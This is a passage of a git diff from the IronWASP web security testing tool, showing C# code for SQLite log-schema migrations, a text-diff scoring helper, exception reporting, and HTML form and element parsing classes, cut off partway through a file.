Cmd.ExecuteNonQuery(); + Cmd.CommandText = "ALTER TABLE PluginResult RENAME TO Findings"; + Cmd.ExecuteNonQuery(); + } + Alter.Commit(); + } + catch { } + } + } + } + #endregion + + #region FindingBaseLine + using (SQLiteConnection DB = new SQLiteConnection("data source=" + PluginResultsLogFile)) + { + DB.Open(); + try + { + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT FindingID FROM BaseLine WHERE ID=1"; + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + bool HasRows = result.HasRows; + } + } + } + catch + { + try + { + using (SQLiteCommand Cmd = new SQLiteCommand(DB)) + { + Cmd.CommandText = "CREATE TABLE IF NOT EXISTS BaseLine (FindingID INT, RequestHeaders TEXT, RequestBody TEXT, BinaryRequest INT, ResponseHeaders TEXT, ResponseBody TEXT, BinaryResponse INT, RoundTrip INT)"; + Cmd.ExecuteNonQuery(); + } + } + catch { } + } + } + #endregion + + #region RoundTrip + using (SQLiteConnection DB = new SQLiteConnection("data source=" + ProxyLogFile)) + { + DB.Open(); + try + { + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT RoundTrip FROM ProxyLog WHERE ID=1"; + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + bool HasRows = result.HasRows; + } + } + } + catch + { + try + { + using (SQLiteCommand Cmd = DB.CreateCommand()) + { + Cmd.CommandText = "ALTER TABLE ProxyLog ADD COLUMN RoundTrip INT"; + Cmd.ExecuteNonQuery(); + } + } + catch { } + try + { + using (SQLiteConnection NDB = new SQLiteConnection("data source=" + TestLogFile)) + { + NDB.Open(); + SQLiteCommand Cmd = NDB.CreateCommand(); + Cmd.CommandText = "ALTER TABLE TestLog ADD COLUMN RoundTrip INT"; + Cmd.ExecuteNonQuery(); + } + } + catch { } + try + { + using (SQLiteConnection NDB = new SQLiteConnection("data source=" + ShellLogFile)) + { + NDB.Open(); + using (SQLiteCommand Cmd = NDB.CreateCommand()) + { + Cmd.CommandText = "ALTER TABLE ShellLog ADD COLUMN RoundTrip INT"; + Cmd.ExecuteNonQuery(); + } + } + } + catch { } + try + { + using (SQLiteConnection NDB = new SQLiteConnection("data source=" + ProbeLogFile)) + { + NDB.Open(); + using (SQLiteCommand Cmd = NDB.CreateCommand()) + { + Cmd.CommandText = "ALTER TABLE ProbeLog ADD COLUMN RoundTrip INT"; + Cmd.ExecuteNonQuery(); + } + } + } + catch { } + try + { + using (SQLiteConnection NDB = new SQLiteConnection("data source=" + ScanLogFile)) + { + NDB.Open(); + using (SQLiteCommand Cmd = NDB.CreateCommand()) + { + Cmd.CommandText = "ALTER TABLE ScanLog ADD COLUMN RoundTrip INT"; + Cmd.ExecuteNonQuery(); + } + } + } + catch { } + try + { + using (SQLiteConnection NDB = new SQLiteConnection("data source=" + PluginResultsLogFile)) + { + NDB.Open(); + using (SQLiteCommand Cmd = NDB.CreateCommand()) + { + Cmd.CommandText = "ALTER TABLE Triggers ADD COLUMN RoundTrip INT"; + Cmd.ExecuteNonQuery(); + } + } + } + catch { } + foreach (string Source in Config.GetOtherSourceList()) + { + try + { + using (SQLiteConnection NDB = new SQLiteConnection("data source=" + GetOtherSourceLogFileName(Source))) + { + NDB.Open(); + using (SQLiteCommand Cmd = NDB.CreateCommand()) + { + Cmd.CommandText = "ALTER TABLE Log ADD COLUMN RoundTrip INT"; + Cmd.ExecuteNonQuery(); + } + } + } + catch { } + } + } + } + + #endregion + + #region ScanQueue + using (SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile)) + { + DB.Open(); + try + { + using (SQLiteCommand Cmd = DB.CreateCommand()) + { + Cmd.CommandText = "SELECT WorkflowToScan FROM ScanQueue WHERE ScanID=1"; + using (SQLiteDataReader result = Cmd.ExecuteReader()) + { + bool HasRows = result.HasRows; + } + } + } + catch + { + try + { + using (SQLiteCommand Cmd = DB.CreateCommand()) + { + Cmd.CommandText = "ALTER TABLE ScanQueue ADD COLUMN WorkflowToScan TEXT"; + Cmd.ExecuteNonQuery(); + Cmd.CommandText = "ALTER TABLE ScanQueue ADD COLUMN LoginWorkflow TEXT"; + Cmd.ExecuteNonQuery(); + } + } + catch { } + } + } + #endregion + + #region Workflows + using (SQLiteConnection DB = new SQLiteConnection("data source=" + WorkflowLogFile)) + { + DB.Open(); + try + { + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "CREATE TABLE IF NOT EXISTS Workflows (ID INT PRIMARY KEY, LogIds TEXT, LogSource TEXT, Name TEXT, Type TEXT, Source TEXT, UserAgent TEXT, Info TEXT)"; + cmd.ExecuteNonQuery(); + } + } + catch + {} + } + #endregion + } + + static string GetOtherSourceLogFileName(string Source) + { + string FileName = string.Format("{0}\\LogsFor{1}.ironlog", LogPath, Source); + return FileName; + } + + internal static void ReadOtherSourceLogInformation() + { + string[] Files = Directory.GetFiles(LogPath); + List Sources = new List(); + foreach (string F in Files) + { + string FileName = Path.GetFileName(F); + if (FileName.EndsWith(".ironlog") && FileName.StartsWith("LogsFor")) + { + Sources.Add(FileName.Substring(7, FileName.Length - 15)); + } + } + foreach (string Source in Sources) + { + int LastId = IronDB.GetLastLogRowId(Source); + Config.OtherSourceCounterDict[Source] = LastId; + } + } + + #region Helpers + static int GetConfidence(FindingConfidence Confidence) + { + if (Confidence == FindingConfidence.High) return 9; + if (Confidence == FindingConfidence.Medium) return 6; + if (Confidence == FindingConfidence.Low) return 3; + return 3; + } + static int GetSeverity(FindingSeverity Severity) + { + if (Severity == FindingSeverity.High) return 9; + if (Severity == FindingSeverity.Medium) return 6; + if (Severity == FindingSeverity.Low) return 3; + return 3; + } + static int GetResultType(FindingType ResultType) + { + if (ResultType == FindingType.Vulnerability) return 9; + if (ResultType == FindingType.TestLead) return 6; + if (ResultType == FindingType.Information) return 3; + return 3; + } + static FindingConfidence GetConfidence( int Confidence) + { + if (Confidence == 9) return FindingConfidence.High; + if (Confidence == 6) return FindingConfidence.Medium; + if (Confidence == 3) return FindingConfidence.Low; + return FindingConfidence.Low; + } + static FindingSeverity GetSeverity(int Severity) + { + if (Severity == 9) return FindingSeverity.High; + if (Severity == 6) return FindingSeverity.Medium; + if (Severity == 3) return FindingSeverity.Low; + return FindingSeverity.Low; + } + static FindingType GetResultType(int ResultType) + { + if (ResultType == 9) return FindingType.Vulnerability; + if (ResultType == 6) return FindingType.TestLead; + if (ResultType == 3) return FindingType.Information; + return FindingType.Information; + } + + internal static void UpdateLogFilePaths(string _LogPath) + { + IronDB.LogPath = _LogPath; + IronProjectFile = _LogPath + "\\Project.iron"; + ProxyLogFile = _LogPath + "\\Proxy.ironlog"; + TestLogFile = _LogPath + "\\Test.ironlog"; + ShellLogFile = _LogPath + "\\Shell.ironlog"; + ProbeLogFile = _LogPath + "\\Probes.ironlog"; + ScanLogFile = _LogPath + "\\Scan.ironlog"; + + WorkflowLogFile = _LogPath + "\\Workflow.ironlog"; + + PluginResultsLogFile = _LogPath + "\\Results.ironlog"; + ExceptionsLogFile = _LogPath + "\\Exceptions.ironlog"; + TraceLogFile = _LogPath + "\\Trace.ironlog"; + if (CommandsLogFile != null) + { + try + { + CommandsLogFile.Close(); + } + catch { } + } + CommandsLogFile = new StreamWriter(_LogPath + "\\CommandLog.txt", true); + } + + internal static int AsInt(bool Input) + { + if (Input) + { + return 1; + } + else + { + return 0; + } + } + #endregion + } +} diff --git a/IronWASP/IronDiffer.cs b/Iron/IronDiffer.cs similarity index 97% rename from IronWASP/IronDiffer.cs rename to Iron/IronDiffer.cs index 5d83f01..ae1a442 100644 --- a/IronWASP/IronDiffer.cs +++ b/Iron/IronDiffer.cs @@ -1,177 +1,177 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; -using DiffPlex; -using DiffPlex.DiffBuilder; -using DiffPlex.DiffBuilder.Model; - -namespace IronWASP -{ - public class IronDiffer - { - public static SideBySideDiffModel GetDiff(string Source, string Destination) - { - Differ DiffMaker = new Differ(); - SideBySideDiffBuilder SideBySideDiffer = new SideBySideDiffBuilder(DiffMaker); - return SideBySideDiffer.BuildDiffModel(Source, Destination); - } - - public static int GetLevel(string Source, string Destination) - { - Differ DiffMaker = new Differ(); - SideBySideDiffBuilder SideBySideDiffer = new SideBySideDiffBuilder(DiffMaker); - SideBySideDiffModel SideBySideDiffResult = SideBySideDiffer.BuildDiffModel(Source, Destination); - return GetLevel(SideBySideDiffResult, Source, Destination); - } - - public static int GetLevel(SideBySideDiffModel SideBySideDiffResult, string Source, string Destination) - { - Double[] Result = new Double[2]; - Result[0] = FullDiff(SideBySideDiffResult.OldText.Lines, Source.Length); - if (Source.Length == 0 && Destination.Length != 0) Result[0] = 100.0; - Result[1] = FullDiff(SideBySideDiffResult.NewText.Lines, Destination.Length); - if (Destination.Length == 0 && Source.Length != 0) Result[1] = 100.0; - return (int)((Result[0] + Result[1]) / 2); - } - - public static double FullDiff(List Lines, int FullLength) - { - double OverAll = 0; - foreach (DiffPiece Line in Lines) - { - switch (Line.Type) - { - case ChangeType.Deleted: - OverAll = OverAll + GetWeight(Line.Text.Length, FullLength); - break; - case ChangeType.Inserted: - OverAll = OverAll + GetWeight(Line.Text.Length, FullLength); - break; - case ChangeType.Modified: - OverAll = OverAll + ((LineDiff(Line, Line.Text.Length) /100) * GetWeight(Line.Text.Length, FullLength)); - break; - case ChangeType.Unchanged: - case ChangeType.Imaginary: - break; - } - } - return OverAll; - } - - public static double LineDiff(DiffPiece Line, int FullLength) - { - double OverAll = 0; - foreach (DiffPiece Word in Line.SubPieces) - { - switch (Word.Type) - { - case ChangeType.Deleted: - OverAll = OverAll + GetWeight(Word.Text.Length, FullLength); - break; - case ChangeType.Inserted: - OverAll = OverAll + GetWeight(Word.Text.Length, FullLength); - break; - case ChangeType.Imaginary: - case ChangeType.Unchanged: - case ChangeType.Modified: - break; - } - } - return OverAll; - } - - public static List GetInsertedStrings(SideBySideDiffModel SideBySideDiffResult) - { - List InsertedStrings = new List(); - foreach (DiffPiece Line in SideBySideDiffResult.NewText.Lines) - { - switch (Line.Type) - { - case ChangeType.Inserted: - InsertedStrings.Add(Line.Text); - break; - case ChangeType.Modified: - foreach (DiffPiece Word in Line.SubPieces) - { - switch (Word.Type) - { - case ChangeType.Inserted: - InsertedStrings.Add(Word.Text); - break; - case ChangeType.Deleted: - case ChangeType.Imaginary: - case ChangeType.Unchanged: - case ChangeType.Modified: - break; - } - } - break; - case ChangeType.Deleted: - case ChangeType.Unchanged: - case ChangeType.Imaginary: - break; - } - } - return InsertedStrings; - } - - public static List GetDeletedStrings(SideBySideDiffModel SideBySideDiffResult) - { - List DeletedStrings = new List(); - foreach (DiffPiece Line in SideBySideDiffResult.OldText.Lines) - { - switch (Line.Type) - { - case ChangeType.Deleted: - DeletedStrings.Add(Line.Text); - break; - case ChangeType.Modified: - foreach (DiffPiece Word in Line.SubPieces) - { - switch (Word.Type) - { - case ChangeType.Deleted: - DeletedStrings.Add(Word.Text); - break; - case ChangeType.Inserted: - case ChangeType.Imaginary: - case ChangeType.Unchanged: - case ChangeType.Modified: - break; - } - } - break; - case ChangeType.Inserted: - case ChangeType.Unchanged: - case ChangeType.Imaginary: - break; - } - } - return DeletedStrings; - } - - public static double GetWeight(int SectionLength, int FullLength) - { - return ((double)SectionLength / (double)FullLength) * 100; - } - } - -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; +using DiffPlex; +using DiffPlex.DiffBuilder; +using DiffPlex.DiffBuilder.Model; + +namespace IronWASP +{ + public class IronDiffer + { + public static SideBySideDiffModel GetDiff(string Source, string Destination) + { + Differ DiffMaker = new Differ(); + SideBySideDiffBuilder SideBySideDiffer = new SideBySideDiffBuilder(DiffMaker); + return SideBySideDiffer.BuildDiffModel(Source, Destination); + } + + public static int GetLevel(string Source, string Destination) + { + Differ DiffMaker = new Differ(); + SideBySideDiffBuilder SideBySideDiffer = new SideBySideDiffBuilder(DiffMaker); + SideBySideDiffModel SideBySideDiffResult = SideBySideDiffer.BuildDiffModel(Source, Destination); + return GetLevel(SideBySideDiffResult, Source, Destination); + } + + public static int GetLevel(SideBySideDiffModel SideBySideDiffResult, string Source, string Destination) + { + Double[] Result = new Double[2]; + Result[0] = FullDiff(SideBySideDiffResult.OldText.Lines, Source.Length); + if (Source.Length == 0 && Destination.Length != 0) Result[0] = 100.0; + Result[1] = FullDiff(SideBySideDiffResult.NewText.Lines, Destination.Length); + if (Destination.Length == 0 && Source.Length != 0) Result[1] = 100.0; + return (int)((Result[0] + Result[1]) / 2); + } + + public static double FullDiff(List Lines, int FullLength) + { + double OverAll = 0; + foreach (DiffPiece Line in Lines) + { + switch (Line.Type) + { + case ChangeType.Deleted: + OverAll = OverAll + GetWeight(Line.Text.Length, FullLength); + break; + case ChangeType.Inserted: + OverAll = OverAll + GetWeight(Line.Text.Length, FullLength); + break; + case ChangeType.Modified: + OverAll = OverAll + ((LineDiff(Line, Line.Text.Length) /100) * GetWeight(Line.Text.Length, FullLength)); + break; + case ChangeType.Unchanged: + case ChangeType.Imaginary: + break; + } + } + return OverAll; + } + + public static double LineDiff(DiffPiece Line, int FullLength) + { + double OverAll = 0; + foreach (DiffPiece Word in Line.SubPieces) + { + switch (Word.Type) + { + case ChangeType.Deleted: + OverAll = OverAll + GetWeight(Word.Text.Length, FullLength); + break; + case ChangeType.Inserted: + OverAll = OverAll + GetWeight(Word.Text.Length, FullLength); + break; + case ChangeType.Imaginary: + case ChangeType.Unchanged: + case ChangeType.Modified: + break; + } + } + return OverAll; + } + + public static List GetInsertedStrings(SideBySideDiffModel SideBySideDiffResult) + { + List InsertedStrings = new List(); + foreach (DiffPiece Line in SideBySideDiffResult.NewText.Lines) + { + switch (Line.Type) + { + case ChangeType.Inserted: + InsertedStrings.Add(Line.Text); + break; + case ChangeType.Modified: + foreach (DiffPiece Word in Line.SubPieces) + { + switch (Word.Type) + { + case ChangeType.Inserted: + InsertedStrings.Add(Word.Text); + break; + case ChangeType.Deleted: + case ChangeType.Imaginary: + case ChangeType.Unchanged: + case ChangeType.Modified: + break; + } + } + break; + case ChangeType.Deleted: + case ChangeType.Unchanged: + case ChangeType.Imaginary: + break; + } + } + return InsertedStrings; + } + + public static List GetDeletedStrings(SideBySideDiffModel SideBySideDiffResult) + { + List DeletedStrings = new List(); + foreach (DiffPiece Line in SideBySideDiffResult.OldText.Lines) + { + switch (Line.Type) + { + case ChangeType.Deleted: + DeletedStrings.Add(Line.Text); + break; + case ChangeType.Modified: + foreach (DiffPiece Word in Line.SubPieces) + { + switch (Word.Type) + { + case ChangeType.Deleted: + DeletedStrings.Add(Word.Text); + break; + case ChangeType.Inserted: + case ChangeType.Imaginary: + case ChangeType.Unchanged: + case ChangeType.Modified: + break; + } + } + break; + case ChangeType.Inserted: + case ChangeType.Unchanged: + case ChangeType.Imaginary: + break; + } + } + return DeletedStrings; + } + + public static double GetWeight(int SectionLength, int FullLength) + { + return ((double)SectionLength / (double)FullLength) * 100; + } + } + +} diff --git a/IronWASP/IronException.cs b/Iron/IronException.cs similarity index 96% rename from IronWASP/IronException.cs rename to Iron/IronException.cs index 8f74401..524e143 100644 --- a/IronWASP/IronException.cs +++ b/Iron/IronException.cs @@ -1,80 +1,80 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Threading; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class IronException - { - internal int ID=0; - internal string Title = ""; - internal string Message = ""; - internal string StackTrace = ""; - - public IronException() - { - - } - - public IronException(string Title, string Message) - { - this.Title = Title; - this.Message = Message; - } - - public IronException(string Title, string Message, string StackTrace) - { - this.Title = Title; - this.Message = Message; - this.StackTrace = StackTrace; - } - - public static void Report(string Title, string Message) - { - Report(Title, Message, ""); - } - - internal static void Report(string Title, Exception InnerException) - { - Report(Title, InnerException.Message, InnerException.StackTrace); - } - - internal static void Report(string Title, string Message, string StackTrace) - { - try - { - int ExceptionID = Interlocked.Increment(ref Config.ExceptionsCount); - IronException IrEx = new IronException(); - IrEx.ID = ExceptionID; - IrEx.Title = Title; - IrEx.Message = Message; - IrEx.StackTrace = StackTrace; - IronDB.LogException(IrEx); - IronUI.UpdateException(IrEx); - } - catch - { - //End of the road - } - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Threading; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class IronException + { + internal int ID=0; + internal string Title = ""; + internal string Message = ""; + internal string StackTrace = ""; + + public IronException() + { + + } + + public IronException(string Title, string Message) + { + this.Title = Title; + this.Message = Message; + } + + public IronException(string Title, string Message, string StackTrace) + { + this.Title = Title; + this.Message = Message; + this.StackTrace = StackTrace; + } + + public static void Report(string Title, string Message) + { + Report(Title, Message, ""); + } + + internal static void Report(string Title, Exception InnerException) + { + Report(Title, InnerException.Message, InnerException.StackTrace); + } + + internal static void Report(string Title, string Message, string StackTrace) + { + try + { + int ExceptionID = Interlocked.Increment(ref Config.ExceptionsCount); + IronException IrEx = new IronException(); + IrEx.ID = ExceptionID; + IrEx.Title = Title; + IrEx.Message = Message; + IrEx.StackTrace = StackTrace; + IronDB.LogException(IrEx); + IronUI.UpdateException(IrEx); + } + catch + { + //End of the road + } + } + } +} diff --git a/Iron/IronHtml/Element.cs b/Iron/IronHtml/Element.cs new file mode 100644 index 0000000..0f98926 --- /dev/null +++ b/Iron/IronHtml/Element.cs @@ -0,0 +1,140 @@ +using System; +using System.Collections.Generic; +using System.Text; +using HtmlAgilityPack; + +namespace IronWASP.IronHtml +{ + public class Element + { + public ElementAttributes Attributes = null; + protected HtmlAgilityPack.HtmlNode Node = null; + int index = -1; + + + //public Element(HtmlAgilityPack.HtmlNode Node) + //{ + // this.Node = Node; + //} + + public Element(HtmlAgilityPack.HtmlNode Node, int NodeIndex) + { + this.Node = Node; + this.index = NodeIndex; + } + + public int Index + { + get + { + return this.index; + } + } + + public bool HasIndex + { + get + { + return (Index >= -1); + } + } + + public bool HasId + { + get + { + return HasAttribute("id"); + } + } + + public string Id + { + get + { + return GetAttribute("id"); + } + } + + public bool HasName + { + get + { + return HasAttribute("name"); + } + } + + public string Name + { + get + { + return GetAttribute("name"); + } + } + + public bool HasClass + { + get + { + return HasAttribute("class"); + } + } + + public string Class + { + get + { + return GetAttribute("class"); + } + } + + public string InnerText + { + get + { + try + { + return Node.InnerText; + } + catch + { + return ""; + } + } + } + + public HtmlAgilityPack.HtmlNodeCollection SelectNodes(string Xpath) + { + return this.Node.SelectNodes(Xpath); + } + + public bool HasAttribute(string Name) + { + return Node.Attributes.Contains(Name); + } + + public string GetAttribute(string Name) + { + if (HasAttribute(Name)) + { + return Tools.HtmlDecode(Node.Attributes[Name].Value); + } + else + { + throw new Exception(string.Format("Html element does not have attribute named {0}", Name)); + } + } + + public List AttributeNames + { + get + { + List AttrNames = new List(); + foreach (HtmlAgilityPack.HtmlAttribute Attr in Node.Attributes) + { + AttrNames.Add(Attr.Name); + } + return AttrNames; + } + } + } +} diff --git a/Iron/IronHtml/ElementAttribute.cs b/Iron/IronHtml/ElementAttribute.cs new file mode 100644 index 0000000..bd22904 --- /dev/null +++ b/Iron/IronHtml/ElementAttribute.cs @@ -0,0 +1,34 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP.IronHtml +{ + public class ElementAttribute + { + HtmlAgilityPack.HtmlAttribute Attr; + string AttrName = ""; + string AttrValue = ""; + + public ElementAttribute(HtmlAgilityPack.HtmlAttribute Attr) + { + this.Attr = Attr; + } + + public string Name + { + get + { + return Attr.Name; + } + } + + public string Value + { + get + { + return Attr.Value; + } + } + } +} diff --git a/Iron/IronHtml/ElementAttributes.cs b/Iron/IronHtml/ElementAttributes.cs new file mode 100644 index 0000000..5433c19 --- /dev/null +++ b/Iron/IronHtml/ElementAttributes.cs @@ -0,0 +1,34 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP.IronHtml +{ + public class ElementAttributes + { + public List Attributes = new List(); + HtmlAgilityPack.HtmlAttributeCollection Attrs = null; + + public ElementAttributes(HtmlAgilityPack.HtmlAttributeCollection Attrs) + { + this.Attrs = Attrs; + } + + public bool Has(string Name) + { + return this.Attrs.Contains(Name); + } + + public ElementAttribute Get(string Name) + { + try + { + return new ElementAttribute(Attrs[Name]); + } + catch + { + return null; + } + } + } +} diff --git a/Iron/IronHtml/ElementCollection.cs b/Iron/IronHtml/ElementCollection.cs new file mode 100644 index 0000000..c8e7682 --- /dev/null +++ b/Iron/IronHtml/ElementCollection.cs @@ -0,0 +1,104 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP.IronHtml +{ + public class ElementCollection + { + protected List Elements = new List(); + + protected ElementCollection() + { + + } + + public ElementCollection(List Eles) + { + Elements = Eles; + } + + public int Count + { + get + { + return Elements.Count; + } + } + + public List GetElements() + { + return Elements; + } + + public List GetElementsWithId(string Id) + { + return GetElementsWithPropertyValue("id", Id); + } + + public List GetElementsWithName(string Name) + { + return GetElementsWithPropertyValue("name", Name); + } + + public List GetElementsWithClass(string Class) + { + return GetElementsWithPropertyValue("class", Class); + } + + public List GetElementsWithInnerText(string InnerText) + { + return GetElementsWithPropertyValue("innertext", InnerText); + } + + List GetElementsWithPropertyValue(string Property, string Value) + { + List Result = new List(); + foreach (Element Ele in Elements) + { + switch (Property) + { + case("id"): + if (Ele.HasId && Ele.Id.Equals(Value)) Result.Add(Ele); + break; + case ("name"): + if (Ele.HasName && Ele.Name.Equals(Value)) Result.Add(Ele); + break; + case ("class"): + if (Ele.HasClass && Ele.Class.Equals(Value)) Result.Add(Ele); + break; + case ("innertext"): + if (Ele.InnerText.Equals(Value)) Result.Add(Ele); + break; + } + } + return Result; + } + } + + public class LinkElementCollection:ElementCollection + { + public LinkElementCollection(List LinkEles) + { + List Eles = new List(); + foreach (LinkElement LinkEle in LinkEles) + { + Eles.Add(LinkEle); + } + base.Elements = Eles; + } + } + + public class FormElementCollection : ElementCollection + { + public FormElementCollection(List FormEles) + { + List Eles = new List(); + foreach (FormElement FormEle in FormEles) + { + Eles.Add(FormEle); + } + base.Elements = Eles; + } + } +} diff --git a/Iron/IronHtml/FormElement.cs b/Iron/IronHtml/FormElement.cs new file mode 100644 index 0000000..81d1bea --- /dev/null +++ b/Iron/IronHtml/FormElement.cs @@ -0,0 +1,325 @@ +using System; +using System.Collections.Generic; +using System.Text; +using HtmlAgilityPack; + +namespace IronWASP.IronHtml +{ + public class FormElement : Element + { + List InputElements = new List(); + List SelectElements = new List(); + + public string Method + { + get + { + if (HasAttribute("method")) + { + return GetAttribute("method"); + } + return "GET"; + } + } + + public string Action + { + get + { + if (HasAttribute("action")) + { + return GetAttribute("action").TrimStart(); + } + return ""; + } + } + + public bool IsAbsoluteAction + { + get + { + try + { + Request Req = new Request(Action); + return true; + } + catch + { + return false; + } + } + } + + public bool IsJavaScriptAction + { + get + { + if (Action.StartsWith("javascript:", StringComparison.OrdinalIgnoreCase)) + { + return true; + } + return false; + } + } + + public string GetAbsoluteAction(Request Req) + { + if(!IsJavaScriptAction) + { + return Req.RelativeUrlToAbsoluteUrl(Action); + } + else + { + return Req.FullUrl; + } + } + + public int InputFieldCount + { + get + { + return InputElements.Count; + } + } + + public int ParametersCount + { + get + { + int NIFC = 0; + List RadioElementNames = new List(); + + foreach (InputElement IE in InputElements) + { + if(IE.HasName) + { + if (IE.ElementType == InputElementType.Radio) + { + if (!RadioElementNames.Contains(IE.Name)) + { + RadioElementNames.Add(IE.Name); + NIFC++; + } + } + else + { + NIFC++; + } + } + } + foreach (Element Ele in SelectElements) + { + if (Ele.HasName) + { + NIFC++; + } + } + return NIFC; + } + } + + public bool HasPasswordField + { + get + { + foreach (InputElement InEl in InputElements) + { + if (InEl.ElementType == InputElementType.Password) return true; + } + return false; + } + } + + public FormElement(HtmlAgilityPack.HtmlNode Node, int NodeIndex) : base(Node, NodeIndex) + { + HtmlNodeCollection NodesColl = Node.SelectNodes(".//input"); + if (NodesColl != null) + { + for (int i = 0; i < NodesColl.Count; i++) + { + InputElements.Add(new InputElement(NodesColl[i], i)); + } + } + + NodesColl = Node.SelectNodes(".//select"); + if (NodesColl != null) + { + for (int i = 0; i < NodesColl.Count; i++) + { + SelectElements.Add(new Element(NodesColl[i], i)); + } + } + } + + public bool HasInputField(string Name) + { + foreach (InputElement InEl in InputElements) + { + if (InEl.HasName && InEl.Name.Equals(Name)) return true; + } + return false; + } + public bool HasSelectField(string Name) + { + foreach (Element El in SelectElements) + { + if (El.HasName && El.Name.Equals(Name)) return true; + } + return false; + } + + public InputElement GetInputField(string Name) + { + foreach (InputElement InEl in InputElements) + { + if (InEl.HasName && InEl.Name.Equals(Name)) return InEl; + } + return null; + } + + public List GetInputFields(string Name) + { + List Fields = new List(); + foreach (InputElement InEl in InputElements) + { + if (InEl.HasName && InEl.Name.Equals(Name)) Fields.Add(InEl); + } + return Fields; + } + + public List GetSelectOptions(string Name) + { + List Fields = new List(); + foreach (Element El in SelectElements) + { + if (El.HasName && El.Name.Equals(Name)) + { + HtmlNodeCollection OptionColl = El.SelectNodes(".//option"); + if (OptionColl != null) + { + for(int i=0; i < OptionColl.Count; i++) + { + try + { + Fields.Add((new Element(OptionColl[i], i)).Attributes.Get("value").Value); + } + catch + { + //Exception thrown probably because there was not attribute named 'value' + } + } + } + } + } + return Fields; + } + public Request GetFormSubmission(Request Req) + { + Request NewFormSubReq = Crawler.GetFormSubmissionWithActualValue(Req, Node, new CookieStore()); + foreach (string Name in Req.Headers.GetNames()) + { + if (!(Name.Equals("Content-Length", StringComparison.OrdinalIgnoreCase) || Name.Equals("Cookie", StringComparison.OrdinalIgnoreCase) || Name.Equals("Content-Type", StringComparison.OrdinalIgnoreCase))) + { + NewFormSubReq.Headers.Set(Name, Req.Headers.GetAll(Name)); + } + } + return NewFormSubReq; + } + + public Request GetFormSubmissionWithHiddenValuesFromFormAndOtherFromSecondArgument(Request Req, Request ReqToUpdateFrom) + { + Request FormSub = Crawler.GetFormSubmissionWithActualValue(Req, Node, new CookieStore()); + Parameters SourceParams = ReqToUpdateFrom.Query; + Parameters DestiParams = FormSub.Query; + if (FormSub.Method.Equals("POST", StringComparison.OrdinalIgnoreCase)) + { + SourceParams = ReqToUpdateFrom.Body; + DestiParams = FormSub.Body; + } + foreach (string Name in DestiParams.GetNames()) + { + if (HasInputField(Name)) + { + InputElement InEl = GetInputField(Name); + if (InEl.ElementType != InputElementType.Hidden) + { + if (FormSub.Method.Equals("POST", StringComparison.OrdinalIgnoreCase)) + { + FormSub.Body.Set(Name, SourceParams.GetAll(Name)); + } + else + { + FormSub.Query.Set(Name, SourceParams.GetAll(Name)); + } + + } + } + } + return FormSub; + } + + public bool DoInputFieldNamesMatchRequest(Request Req) + { + return DoesInputFieldsMatchRequestParameters(Req, 1); + } + + public bool DoHiddenInputFieldValuesMatchRequest(Request Req) + { + return DoesInputFieldsMatchRequestParameters(Req, 2); + } + + public bool DoAllInputFieldValuesMatchRequest(Request Req) + { + return DoesInputFieldsMatchRequestParameters(Req, 3); + } + + bool DoesInputFieldsMatchRequestParameters(Request Req, int MatchLevel) + { + Parameters Params = null; + if (this.Method.Equals("POST", StringComparison.OrdinalIgnoreCase)) + { + Params = Req.Body; + } + else + { + Params = Req.Query; + } + + if (Params.Count != this.ParametersCount) return false; + foreach (string Name in Params.GetNames()) + { + if (!(this.HasInputField(Name) || this.HasSelectField(Name))) return false; + if (MatchLevel > 1) + { + if (this.HasSelectField(Name)) + { + if (MatchLevel > 2) + { + if (!this.GetSelectOptions(Name).Contains(Params.Get(Name))) return false; + } + } + else + { + List Values = new List(); + foreach (InputElement InEl in this.GetInputFields(Name)) + { + if (MatchLevel == 2) + { + if (InEl.ElementType == InputElementType.Hidden) Values.Add(InEl.Value); + } + else + { + 